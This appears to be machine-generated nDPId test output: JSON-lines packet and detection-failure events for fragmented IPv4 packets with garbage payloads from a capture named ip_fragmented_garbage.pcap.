+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779371,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779391,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779418,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779494,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779506,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779516,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779526,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779554,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779573,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779582,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779592,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779602,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779621,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779680,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779737,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779756,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 